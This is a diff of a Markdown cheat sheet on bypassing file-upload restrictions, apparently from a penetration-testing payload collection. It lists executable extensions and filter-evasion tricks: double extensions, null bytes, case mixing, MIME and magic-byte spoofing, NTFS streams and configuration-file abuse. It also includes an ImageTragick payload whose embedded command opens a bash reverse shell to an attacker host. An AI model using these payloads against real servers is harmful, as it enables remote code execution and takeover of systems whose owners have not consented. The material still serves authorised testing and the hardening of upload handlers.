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@@ -12,48 +12,58 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at
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* [Picture upload with LFI](#picture-upload-with-lfi)
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* [Configuration Files](#configuration-files)
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* [CVE - Image Tragik](#cve---image-tragik)
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* [ZIP Archive](#zip-archive)
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* [References](#references)
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## Tools
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- [Fuxploider](https://github.com/almandin/fuxploider)
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- [Burp> Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa)
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## Exploits
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### PHP Extension
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```powershell
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.php
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.php3
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.php4
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.php5
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.php7
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Less known extensions
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.pht
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.phar
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.phpt
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.pgif
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.phtml
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.phtm
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Double extensions
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.jpeg.php
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.jpg.php
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.png.php
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```
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* Default PHP extensions
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```powershell
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.php
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.php3
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.php4
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.php5
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.php7
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```
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* Less known extensions
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```powershell
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.pht
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.phps
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.phar
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.phpt
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.pgif
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.phtml
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.phtm
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.inc
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```
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* Double extensions
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```powershell
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.jpeg.php
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.jpg.php
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.png.php
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.*.php
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```
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### Other extensions
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```powershell
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asp : .asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)
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perl: .pl, .pm, .cgi, .lib
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jsp : .jsp, .jspx, .jsw, .jsv, .jspf
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Coldfusion: .cfm, .cfml, .cfc, .dbm
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```
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* asp : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)`
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* perl: `.pl, .pm, .cgi, .lib`
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* jsp : `.jsp, .jspx, .jsw, .jsv, .jspf`
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* Coldfusion: `.cfm, .cfml, .cfc, .dbm`
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### Upload tricks
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- Use double extensions : `.jpg.php`
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- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
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- Mix uppercase and lowercase : `.pHp, .pHP5, .PhAr`
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- Null byte (works well against `pathinfo()`)
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* .php%00.gif
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* .php\x00.gif
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@@ -61,13 +71,16 @@ Coldfusion: .cfm, .cfml, .cfc, .dbm
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* .php\x00.png
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* .php%00.jpg
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* .php\x00.jpg
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- Special characters
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* file.php...... (In Windows when a file is created with dots at the end those will be removed)
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* file.php%20
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- Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif`
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* `Content-Type : image/gif`
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* `Content-Type : image/png`
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* `Content-Type : image/jpeg`
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- [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures)
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Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
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* Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
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- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.")
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### Picture upload with LFI
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@@ -78,6 +91,10 @@ Valid pictures hosting PHP code. Upload the picture and use a local file inclusi
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### Configuration Files
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If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
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If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
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Configuration files examples
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- .htaccess
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- web.config
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- httpd.conf
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@@ -86,12 +103,23 @@ Valid pictures hosting PHP code. Upload the picture and use a local file inclusi
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### CVE - Image Tragik
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Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)
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```powershell
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HTTP Request
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Reverse Shell
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Touch command
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push graphic-context
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viewbox 0 0 640 480
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fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
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pop graphic-context
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```
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More payload in the folder `Picture Image Magik`
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### ZIP archive
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When a ZIP/archive file is automatically decompressed after the upload
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* Zip Slip: directory traversal to write a file somewhere else
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## References
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* Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil
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